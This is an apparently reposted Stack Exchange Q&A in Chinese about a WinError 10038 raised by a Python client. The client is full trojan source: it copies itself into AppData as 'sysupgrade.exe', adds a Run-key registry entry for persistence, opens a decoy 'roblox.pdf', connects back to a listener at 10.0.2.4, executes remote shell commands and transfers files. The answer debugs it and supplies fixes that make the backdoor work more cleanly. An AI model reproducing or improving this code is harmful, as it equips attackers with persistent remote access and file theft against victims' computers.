添加Registry类后执行quit触发WinError 10038错误求助
问题:执行quit命令触发OSError: [WinError 10038]错误
在Windows系统运行该Socket客户端程序,Kali Linux运行对应监听程序,添加Registry类后执行quit命令时出现错误:OSError: [WinError 10038] 尝试对非套接字执行操作,未添加Registry类时quit可正常退出两端程序。
客户端代码
import socket import subprocess import simplejson import os import base64 import time import shutil import sys class Registry: def __init__(self): self.new_file = os.environ["appdata"] + "\\sysupgrade.exe" self.added_file = sys._MEIPASS + "\\roblox.pdf" def add_to_registry(self): if not os.path.exists(self.new_file): shutil.copyfile(sys.executable,self.new_file) regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file subprocess.call(regedit_command, shell=True) def open_added_file(self): subprocess.Popen(self.added_file, shell=True) def start_registry(self): self.add_to_registry() self.open_added_file() class MySocket: def __init__(self,ip,port): self.my_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.my_connection.connect((ip,port)) def json_send(self, data): json_data = simplejson.dumps(data) self.my_connection.send(json_data.encode("utf-8")) def json_receive(self): json_data = "" while True: try: json_data = json_data + self.my_connection.recv(1024).decode() return simplejson.loads(json_data) except ValueError: continue def command_execution(self,command): return subprocess.check_output(command, shell=True) def execute_cd_command(self,directory): os.chdir(directory) return "Cd to " + directory def read_file(self,path): with open(path,"rb") as my_file: return base64.b64encode(my_file.read()) def save_file(self,path,content): with open(path,"wb") as my_file: my_file.write(base64.b64decode(content)) return "Upload OK!" def start_socket(self): while True: command = self.json_receive() try: if command[0] == "quit": self.my_connection.close() exit() elif command[0] == "cd" and len(command) > 1 : command_output = self.execute_cd_command(command[1]) elif command[0] == "download": command_output = self.read_file(command[1]) elif command[0] == "upload": command_output = self.save_file(command[1],command[2]) else: command_output = self.command_execution(command) except Exception: command_output = "Error!" self.json_send(command_output) self.my_connection.close() my_registry = Registry() my_registry.start_registry() my_socket_object = MySocket("10.0.2.4",4721) my_socket_object.start_socket()
原因分析
添加Registry类后,open_added_file方法通过subprocess.Popen打开外部文件(roblox.pdf),在Windows系统下该方法默认会让子进程继承父进程的所有文件描述符(包括Socket连接)。当执行quit命令关闭Socket并退出主进程时,子进程仍持有Socket的引用,导致主进程在资源清理阶段尝试对已失效的Socket执行操作,触发WinError 10038错误。
同时,原quit命令处理逻辑中,关闭Socket后直接调用exit(),未先发送退出反馈,可能导致Socket资源未被正确释放就终止进程,加重该问题。
修复方案
方案1:阻止子进程继承父进程文件描述符
修改Registry类的open_added_file方法,添加close_fds=True参数,让子进程不继承父进程的Socket等文件描述符:
def open_added_file(self): subprocess.Popen(self.added_file, shell=True, close_fds=True)
方案2:优化quit命令处理逻辑
修改MySocket类start_socket方法中的quit分支,先发送退出反馈,再关闭Socket,最后使用sys.exit()(脚本环境更规范的退出方式)终止进程:
if command[0] == "quit": self.json_send("Quitting...") self.my_connection.close() sys.exit()
建议同时应用两个方案,确保Socket资源被正确释放,且子进程不影响主进程的退出流程。
内容的提问来源于stack exchange,提问作者D4rkh0w07
相关产品推荐
相关产品推荐

